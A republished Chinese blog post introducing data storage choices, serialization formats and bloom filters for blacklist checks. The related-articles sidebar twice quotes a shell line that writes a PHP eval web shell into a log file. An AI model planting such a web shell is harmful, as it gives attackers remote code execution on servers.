数据的存储

这是我今年一月份在 team 内部的一次分享。介绍了主流的数据存储方案,包括:内存,文件,数据库和消息队列,以及数据序列化/反序列化的方法。很多时候,工具就在那里,我们只是不知道它们的存在而已。

比如说在client端,有很多 embedded database 可以使用,并不需要局限于 sqlite;而当我们存储数据于缓存服务器中,json 未必是最好的序列化方式,有些场合可以考虑 protobuf / msgpack 等。

在内存中处理数据时,除了一般程序语言自带的 map / list / set 之外,还有很多性能卓绝的数据结构可以考虑,比如 bloomfilter,各种 tree 等。bloomfilter 是一个经常被人忽视的强大工具,它常常可以起到四两拨千斤的作用。讲一个实际的例子。我们做 web 的,经常需要做各种各样的过滤,比如 blacklist。对于每一个请求,你都要走一遍可能涉及到读数据库或者读缓存的 blacklist 操作,这样不经济。如果 blacklist 改动不是很频繁,那么可以在 blackblist 变动之后生成一个 bloomfilter,当请求到达的时候,检查请求是否命中这个 bloomfilter,如果没命中,这肯定是一个被允许的请求,直接放过,如果命中了,这有可能是一个要被拒绝的请求,这时候才需要访问数据库(或者缓存)详细查询。事实上,google chrome 正是利用 bloomfilter 进行恶意 URL 的检测:浏览器会维护一个恶意 URL 的 bloomfilter,任何用户输入的 URL 都会经过这个检查,只有当这个 bloomfilter 被命中,这个 URL 会发送给 google 的服务器进一步检查。(注:见 http://blog.alexyakunin.com/2010/03/nice-bloom-filter-application.html)。

废话不多说,大家看 slides 吧(注:上次程序君承诺会尝试对 slides 中文录音以便大家更好地理解,可惜这几天事情太多,没工夫弄,争取下次放 slides 的时候录音)。

原文发布于微信公众号 - 程序人生(programmer_life)

原文发表时间:2016-03-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏嵌入式程序猿

涨姿势:如何利用泰利特无线模块发邮件

随着物联网的大热,嵌入式开发中越来越多的产品需要加入无线的功能,今天我们就以泰利特无线模块HE910来讲讲如何利用泰利特无线模块通过AT指令操作来发送邮件。 准...

33370
来自专栏http://www.cnblogs.com

linux服务器启动报错UNEXPECTED INCONSISTENCY解决方法

内网的linux服务器给开发员用来测试以及共享文件使用,今天早上发现xshell连接不上该服务器,一开始进入系统显示reboot and select prop...

398130
来自专栏我的安全视界观

【应急响应】redis未授权访问致远程植入挖矿脚本(攻击篇)

54960
来自专栏数据和云

按图索骥:Oracle数据库无响应故障的处理思路和方法

熊军(老熊) 云和恩墨西区总经理 Oracle ACED,ACOUG核心会员 无响应故障现象分析 ---- Oracle数据库无响应故障,简单地讲就是数据库实例...

39180
来自专栏Jed的技术阶梯

Kafka 核心组件之协调器

假设某 topic 有4个分区,消费者组中只有一个消费者,那么这个消费者将消费全部 partition 中的数据。

77640
来自专栏.net core新时代

在线文档预览方案-office web apps

  最近在做项目时,要在手机端实现在线文档预览的功能。于是百度了一下实现方案,大致是将文档转换成pdf,然后在通过插件实现预览。这些方案没有具体实现代码,也没有...

1.4K90
来自专栏Albert陈凯

spark on mesos 两种运行模式

原文地址:http://blog.csdn.net/lsshlsw/article/details/47104913 Spark on mesos 有粗粒度(c...

35540
来自专栏网站漏洞修补

网站漏洞修复对如何修复phpcms网站漏洞

SINE安全公司在对phpcms2008网站代码进行安全检测与审计的时候发现该phpcms存在远程代码写入缓存文件的一个SQL注入漏洞,该phpcms漏洞危害较...

23820
来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

46020
来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

26530

扫码关注云+社区

领取腾讯云代金券